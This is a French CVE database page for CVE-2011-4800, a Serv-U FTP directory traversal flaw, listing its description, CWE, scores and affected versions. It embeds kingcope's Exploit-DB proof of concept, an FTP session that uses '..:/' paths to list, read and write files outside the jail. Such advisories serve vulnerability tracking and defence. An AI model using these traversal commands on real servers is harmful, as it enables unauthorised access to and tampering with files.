CVE-2011-4800 : Détail

CVE-2011-4800

Directory Traversal
A01-Broken Access Control
13.6%V4
Network
2011-12-14
00h00 +00:00
2024-09-16
23h01 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Directory traversal vulnerability in Serv-U FTP Server before 11.1.0.5 allows remote authenticated users to read and write arbitrary files, and list and create arbitrary directories, via a "..:/" (dot dot colon forward slash) in the (1) list, (2) put, or (3) get commands.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 18182

Date de publication : 2011-11-30 23h00 +00:00
Auteur : kingcope
EDB Vérifié : Yes

I m better than TESO! CONFIDENTIAL SOURCE MATERIALS! [*]----------------------------------------------------[*] Serv-U FTP Server Jail Break 0day Discovered By Kingcope Year 2011 [*]----------------------------------------------------[*] Affected: 220 Serv-U FTP Server v7.3 ready... 220 Serv-U FTP Server v7.1 ready... 220 Serv-U FTP Server v6.4 ready... 220 Serv-U FTP Server v8.2 ready... 220 Serv-U FTP Server v10.5 ready... From the Vendor: Fixed in Serv-U 11.1.0.5+. Affects all previous versions. [*]----------------------------------------------------[*] C:\Users\kingcope\Desktop>ftp 192.168.133.134 Verbindung mit 192.168.133.134 wurde hergestellt. 220 Serv-U FTP Server v6.4 for WinSock ready... Benutzer (192.168.133.134:(none)): ftp (anonymous user :>) 331 User name okay, please send complete E-mail address as password. Kennwort: 230 User logged in, proceed. ftp> cd "/..:/..:/..:/..:/program files" 250 Directory changed to /LocalUser/LocalUser/LocalUser/LocalUser/program files ftp> ls -la 200 PORT Command successful. 150 Opening ASCII mode data connection for /bin/ls. dr--r--r-- 1 user group 0 Nov 12 21:48 . dr--r--r-- 1 user group 0 Nov 12 21:48 .. drw-rw-rw- 1 user group 0 Feb 14 2011 Apache Software Foundatio n drw-rw-rw- 1 user group 0 Feb 5 2011 ComPlus Applications drw-rw-rw- 1 user group 0 Jul 11 01:06 Common Files drw-rw-rw- 1 user group 0 Jul 8 16:57 CoreFTPServer drw-rw-rw- 1 user group 0 Jul 11 01:06 IIS Resources d--------- 1 user group 0 Jul 8 16:12 InstallShield Installation Information drw-rw-rw- 1 user group 0 Jul 29 15:07 Internet Explorer drw-rw-rw- 1 user group 0 Jul 8 16:12 Ipswitch drw-rw-rw- 1 user group 0 Feb 12 2011 Java drw-rw-rw- 1 user group 0 Jul 26 13:19 NetMeeting drw-rw-rw- 1 user group 0 Jul 29 14:39 Outlook Express drw-rw-rw- 1 user group 0 Jul 8 15:39 PostgreSQL drw-rw-rw- 1 user group 0 Nov 12 21:48 RhinoSoft.com drw-rw-rw- 1 user group 0 Feb 12 2011 Sun d--------- 1 user group 0 Jul 29 15:13 Uninstall Information drw-rw-rw- 1 user group 0 Feb 5 2011 VMware drw-rw-rw- 1 user group 0 Jul 8 15:34 WinRAR drw-rw-rw- 1 user group 0 Jul 26 13:30 Windows Media Player drw-rw-rw- 1 user group 0 Feb 5 2011 Windows NT d--------- 1 user group 0 Feb 5 2011 WindowsUpdate 226 Transfer complete. FTP: 1795 Bytes empfangen in 0,00Sekunden 448,75KB/s ftp> [*]----------------------------------------------------[*] with write perms: ftp> put foo.txt ..:/..:/..:/foobar <<-- writes foo into root of partition [*]----------------------------------------------------[*] and as anonymous ftp: ftp> get ..:/..:/..:/..:/windows/system32/calc.exe yes 200 PORT Command successful. 150 Opening ASCII mode data connection for calc.exe (115712 Bytes). 226 Transfer complete. FTP: 115712 Bytes empfangen in 0,04Sekunden 2571,38KB/s [*]----------------------------------------------------[*] This works to!!! : 220 Serv-U FTP Server v7.3 ready... Benutzer (xx.xx.xx.xx:(none)): ftp 331 User name okay, please send complete E-mail address as password. Kennwort: 230 User logged in, proceed. ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\*" 200 PORT Command successful. 150 Opening ASCII mode data connection for /bin/ls. . .. AUTOEXEC.BAT boot.ini bootfont.bin bsmain_runtime.log CONFIG.SYS Documents and Settings FPSE_search Inetpub IO.SYS log MSDOS.SYS msizap.exe MSOCache mysql NTDETECT.COM ntldr Program Files RavBin RECYCLER Replay.log rising.ini System Volume Information TDDOWNLOAD WCH.CN WINDOWS wmpub 226 Transfer complete. 317 bytes transferred. 19.35 KB/sec. FTP: 317 Bytes empfangen in 0,01Sekunden 21,13KB/s [*]----------------------------------------------------[*] Sometimes you need to give it the path: ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\" ftp> ls "-a ..:\:..\..:\..:\..:\..:\..:\..:\..:\program files\*" 200 PORT Command successful. 150 Opening ASCII mode data connection for /bin/ls. . .. 360 Adobe ASP.NET CCProxy CE Remote Tools cmak Common Files ComPlus Applications D-Tools FFTPServer HTML Help Workshop IISServer InstallShield Installation Information Intel Internet Explorer Java JavaSoft K-Lite Codec Pack Microsoft ActiveSync Microsoft Analysis Services Microsoft Device Emulator Microsoft MapPoint Web Service Samples Microsoft MapPoint Web Service SDK, Version 4.0 Microsoft Office Microsoft Office Servers Microsoft Silverlight Microsoft SQL Server Microsoft Visual SourceSafe Microsoft Visual Studio 8 Microsoft.NET MSBuild MSXML 6.0 NetMeeting Outlook Express PortMap1.61 Reference Assemblies Rising SQLXML 4.0 SQLyog Enterprise STS2Setup_2052 Symantec Thunder Network TSingVision Uninstall Information Windows Media Player Windows NT WindowsUpdate WinRAR 226 Transfer complete. 835 bytes transferred. 50.96 KB/sec. FTP: 835 Bytes empfangen in 0,01Sekunden 64,23KB/s ftp>

Products Mentioned

Configuraton 0

Solarwinds>>Serv-u_file_server >> Version To (including) 11.1.0.3

Solarwinds>>Serv-u_file_server >> Version 3.0.0.16

Solarwinds>>Serv-u_file_server >> Version 3.0.0.17

Solarwinds>>Serv-u_file_server >> Version 3.1.0.0

Solarwinds>>Serv-u_file_server >> Version 3.1.0.1

Solarwinds>>Serv-u_file_server >> Version 3.1.0.3

Solarwinds>>Serv-u_file_server >> Version 4.0.0.4

Solarwinds>>Serv-u_file_server >> Version 4.1.0.0

Solarwinds>>Serv-u_file_server >> Version 4.1.0.3

Solarwinds>>Serv-u_file_server >> Version 5.0.0.0

Solarwinds>>Serv-u_file_server >> Version 5.0.0.4

Solarwinds>>Serv-u_file_server >> Version 5.0.0.9

Solarwinds>>Serv-u_file_server >> Version 5.0.0.11

Solarwinds>>Serv-u_file_server >> Version 5.1.0.0

Solarwinds>>Serv-u_file_server >> Version 5.2.0.0

Solarwinds>>Serv-u_file_server >> Version 5.2.0.1

Solarwinds>>Serv-u_file_server >> Version 6.0.0.0

Solarwinds>>Serv-u_file_server >> Version 6.0.0.1

Solarwinds>>Serv-u_file_server >> Version 6.0.0.2

Solarwinds>>Serv-u_file_server >> Version 6.1.0.0

Solarwinds>>Serv-u_file_server >> Version 6.1.0.1

Solarwinds>>Serv-u_file_server >> Version 6.1.0.4

Solarwinds>>Serv-u_file_server >> Version 6.1.0.5

Solarwinds>>Serv-u_file_server >> Version 6.2.0.0

Solarwinds>>Serv-u_file_server >> Version 6.2.0.1

Solarwinds>>Serv-u_file_server >> Version 6.3.0.0

Solarwinds>>Serv-u_file_server >> Version 6.3.0.1

Solarwinds>>Serv-u_file_server >> Version 6.4.0.0

Solarwinds>>Serv-u_file_server >> Version 6.4.0.1

Solarwinds>>Serv-u_file_server >> Version 6.4.0.2

Solarwinds>>Serv-u_file_server >> Version 6.4.0.3

Solarwinds>>Serv-u_file_server >> Version 6.4.0.4

Solarwinds>>Serv-u_file_server >> Version 6.4.0.5

Solarwinds>>Serv-u_file_server >> Version 6.4.0.6

Solarwinds>>Serv-u_file_server >> Version 7.0.0.1

Solarwinds>>Serv-u_file_server >> Version 7.0.0.2

Solarwinds>>Serv-u_file_server >> Version 7.0.0.3

Solarwinds>>Serv-u_file_server >> Version 7.0.0.4

Solarwinds>>Serv-u_file_server >> Version 7.1.0.0

Solarwinds>>Serv-u_file_server >> Version 7.1.0.1

Solarwinds>>Serv-u_file_server >> Version 7.1.0.2

Solarwinds>>Serv-u_file_server >> Version 7.2.0.0

Solarwinds>>Serv-u_file_server >> Version 7.2.0.1

Solarwinds>>Serv-u_file_server >> Version 7.3.0.0

Solarwinds>>Serv-u_file_server >> Version 7.3.0.1

Solarwinds>>Serv-u_file_server >> Version 7.3.0.2

Solarwinds>>Serv-u_file_server >> Version 7.4.0.0

Solarwinds>>Serv-u_file_server >> Version 7.4.0.1

Solarwinds>>Serv-u_file_server >> Version 8.0.0.1

Solarwinds>>Serv-u_file_server >> Version 8.0.0.2

Solarwinds>>Serv-u_file_server >> Version 8.0.0.4

Solarwinds>>Serv-u_file_server >> Version 8.0.0.5

Solarwinds>>Serv-u_file_server >> Version 8.0.0.7

Solarwinds>>Serv-u_file_server >> Version 8.1.0.1

Solarwinds>>Serv-u_file_server >> Version 8.1.0.3

Solarwinds>>Serv-u_file_server >> Version 8.2.0.0

Solarwinds>>Serv-u_file_server >> Version 8.2.0.1

Solarwinds>>Serv-u_file_server >> Version 8.2.0.3

Solarwinds>>Serv-u_file_server >> Version 9.0.0.1

Solarwinds>>Serv-u_file_server >> Version 9.0.0.3

Solarwinds>>Serv-u_file_server >> Version 9.0.0.5

Solarwinds>>Serv-u_file_server >> Version 9.1.0.0

Solarwinds>>Serv-u_file_server >> Version 9.1.0.2

Solarwinds>>Serv-u_file_server >> Version 9.2.0.1

Solarwinds>>Serv-u_file_server >> Version 9.3.0.1

Solarwinds>>Serv-u_file_server >> Version 9.4.0.0

Solarwinds>>Serv-u_file_server >> Version 9.4.0.2

Solarwinds>>Serv-u_file_server >> Version 10.0.0.2

Solarwinds>>Serv-u_file_server >> Version 10.0.0.3

Solarwinds>>Serv-u_file_server >> Version 10.0.0.5

Solarwinds>>Serv-u_file_server >> Version 10.0.0.7

Solarwinds>>Serv-u_file_server >> Version 10.1.0.0

Solarwinds>>Serv-u_file_server >> Version 10.1.0.1

Solarwinds>>Serv-u_file_server >> Version 10.2.0.0

Solarwinds>>Serv-u_file_server >> Version 10.2.0.2

Solarwinds>>Serv-u_file_server >> Version 10.3.0.1

Solarwinds>>Serv-u_file_server >> Version 10.4.0.0

Solarwinds>>Serv-u_file_server >> Version 10.5.0.4

Solarwinds>>Serv-u_file_server >> Version 10.5.0.6

Solarwinds>>Serv-u_file_server >> Version 10.5.0.11

Solarwinds>>Serv-u_file_server >> Version 10.5.0.14

Solarwinds>>Serv-u_file_server >> Version 10.5.0.16

Solarwinds>>Serv-u_file_server >> Version 10.5.0.19

Solarwinds>>Serv-u_file_server >> Version 10.5.0.21

Solarwinds>>Serv-u_file_server >> Version 10.5.0.24

Solarwinds>>Serv-u_file_server >> Version 11.0.0.0

Solarwinds>>Serv-u_file_server >> Version 11.0.0.2

Solarwinds>>Serv-u_file_server >> Version 11.0.0.4

Solarwinds>>Serv-u_file_server >> Version 11.1.0.5

Références

http://secunia.com/advisories/47021
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.serv-u.com/releasenotes/
Tags : x_refsource_CONFIRM
http://www.exploit-db.com/exploits/18182
Tags : exploit, x_refsource_EXPLOIT-DB
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.